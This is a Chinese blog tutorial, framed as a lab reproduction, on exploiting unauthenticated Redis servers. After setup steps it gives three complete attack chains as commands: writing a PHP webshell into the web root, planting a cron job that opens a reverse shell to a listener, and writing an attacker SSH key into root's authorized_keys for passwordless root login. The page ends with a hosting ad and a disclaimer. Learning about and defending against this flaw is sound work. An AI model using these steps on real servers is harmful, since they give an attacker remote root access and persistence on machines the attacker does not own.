redis未授权访问漏洞(三种方法)

2024-07-13 1374阅读

声明:此文章仅用于学习使用

漏洞简介:

        redis 默认情况下,绑定在 0.0.0.0:6379,若没有采用相关的策略,如添加防火墙规则避免其他非信任来源 ip 访问等,会将 redis 服务暴露到公网上。如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 redis 以及读取 redis 的数据。攻击者在未授权访问 redis 的情况下,利用 redis 自身的提供的config 命令,可以进行写文件操作,从而可以将自己编写生成的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而使用对应私钥通过ssh服务登录目标服务器。

环境准备:centos7.6(靶机)、kali

影响版本:redis 2.x,3.x,4.x,5.x

目录

一、环境搭建

二、启动环境

三、漏洞利用

1.方法一:写入webshell

1.1 连接redis

1.1.1 相关报错 

1.2 获取getshell

2.方法二:Linux计划任务反弹shell

3.方法三:写入ssh公钥实现ssh登录


一、环境搭建

🌂首先在centos及kali中各自下载redis源码包

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

redis未授权访问漏洞(三种方法)

redis未授权访问漏洞(三种方法)

🌂解压源码包,可以不加v,隐藏显示详细信息

tar -zxvf redis-2.8.17.tar.gz 

redis未授权访问漏洞(三种方法)

redis未授权访问漏洞(三种方法)

redis未授权访问漏洞(三种方法)

🌂进入解压后的目录,并创建makefile

1)cd redis-2.8.17/

2)make

redis未授权访问漏洞(三种方法)

redis未授权访问漏洞(三种方法)

🌂centos靶机进入src目录,复制客户端与服务端文件至环境变量目录;返回上级目录复制相关配置文件至/etc下

1)cp redis-server /usr/bin

2)cp redis-cli /usr/bin

3)cp redis.conf /etc

redis未授权访问漏洞(三种方法)

二、启动环境

🌂在靶机新开一个终端,启动redis

redis-server /etc/redis.conf

redis未授权访问漏洞(三种方法)

🌂 kali中验证可以成功连接

./redis-cli -h 靶机ip

redis未授权访问漏洞(三种方法)

🌂 kali使用nmap扫描验证

nmap -p 6379 --script redis-info 靶机ip

redis未授权访问漏洞(三种方法)

三、漏洞利用

1.方法一:写入webshell

1.1 连接redis

🌂连接redis,端口默认为6379

redis-cli -h 靶机ip -p 6379

redis未授权访问漏洞(三种方法)

1.1.1 相关报错 

到这里跟着复现,发现报"(错误)ERR客户端发送了AUTH,但未设置密码"

正常来讲,redis2.8.17默认无密码,因此才会造成我们未授权访问。

如果做未授权访问复现,请忽略以下步骤!!!!!

此处可以使用命令设置一个简单的数字密码,并再次尝试登录,发现可以正常执行

1)config set requirepass 123456

2)auth 123456

ps:flushall                   # 清理缓存,执行后可重新设置密码

redis未授权访问漏洞(三种方法)

🌂接下来继续执行命令,成功进入redis

config get dir

redis未授权访问漏洞(三种方法)

1.2 获取getshell

🌂在/var目录下创建目录,并在redis输入命令

1)mkdir -p /var/www/html/                        # 在非进入redis服务器的终端执行

2)config set dir /var/www/html/                # 设置webshell的存储目录

3)config set dbfilename system.php        # 设置webshell的文件名

4)set shell "\r\n\r\n\r\n\r\n"        # 将一句话木马写入system.php文件中

5)save                                                        # 保存

redis未授权访问漏洞(三种方法)

🌂进入/var/www/html目录下,查看并验证是否执行成功

redis未授权访问漏洞(三种方法)

🌂通过蚁剑或冰蝎等工具连接,此处本机没有搭建php环境,不做演示。小伙伴可在centos自行安装phpstudy方便后续蚁剑等工具连接。

2.方法二:Linux计划任务反弹shell

🌂centos中位置为/var/spool/cron/root,通常没有root文件,因此创建

原理:利用redis数据库备份功能,在不知情网站绝对路径时,利用定时任务检测/etc/crontab内容,将反弹shell的命令使用redis备份到/etc/crontab中,获取反弹shell

1)config set dir /var/spool/cron

2)config set dbfilename root

3)set abc "\n\n\n* * * * * bash -i >& /dev/tcp/靶机ip/6666 0>&1\n\n\n"          # 端口号可自行设定

4)save

redis未授权访问漏洞(三种方法)

🌂新开终端,监听6666端口,等待建立连接,成功获取到shell,可以执行命令

nc -lvp 6666

redis未授权访问漏洞(三种方法)

3.方法三:写入ssh公钥实现ssh登录

🌂在kali生成ssh公钥、私钥,密码为空

ssh-keygen -t rsa

redis未授权访问漏洞(三种方法)

🌂 进入/root/.ssh并将公钥写入key.txt文件

(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt        

redis未授权访问漏洞(三种方法)

🌂将key.txt文件传入redis靶机

cat key.txt| redis-cli -h 靶机ip -x set pub

redis未授权访问漏洞(三种方法)

🌂将redis文件路径设为/root/.ssh,文件名为authorized_keys,并save保存

1)./redis-cli -h 靶机ip

2)config get dir

3)config set dir /root/.ssh

4)config set dbfilename authorized_keys

5)config get dbfilename

6)save

redis未授权访问漏洞(三种方法)

🌂kali使用ssh免密登录centos靶机

ssh -i id_rsa root@靶机ip

redis未授权访问漏洞(三种方法)

至此,三种复现方法结束~

VPS购买请点击我

免责声明:我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自自研大数据AI进行生成,内容摘自(百度百科,百度知道,头条百科,中国民法典,刑法,牛津词典,新华词典,汉语词典,国家院校,科普平台)等数据,内容仅供学习参考,不准确地方联系删除处理! 图片声明:本站部分配图来自人工智能系统AI生成,觅知网授权图片,PxHere摄影无版权图库和百度,360,搜狗等多加搜索引擎自动关键词搜索配图,如有侵权的图片,请第一时间联系我们,邮箱:ciyunidc@ciyunshuju.com。本站只作为美观性配图使用,无任何非法侵犯第三方意图,一切解释权归图片著作权方,本站不承担任何责任。如有恶意碰瓷者,必当奉陪到底严惩不贷!

目录[+]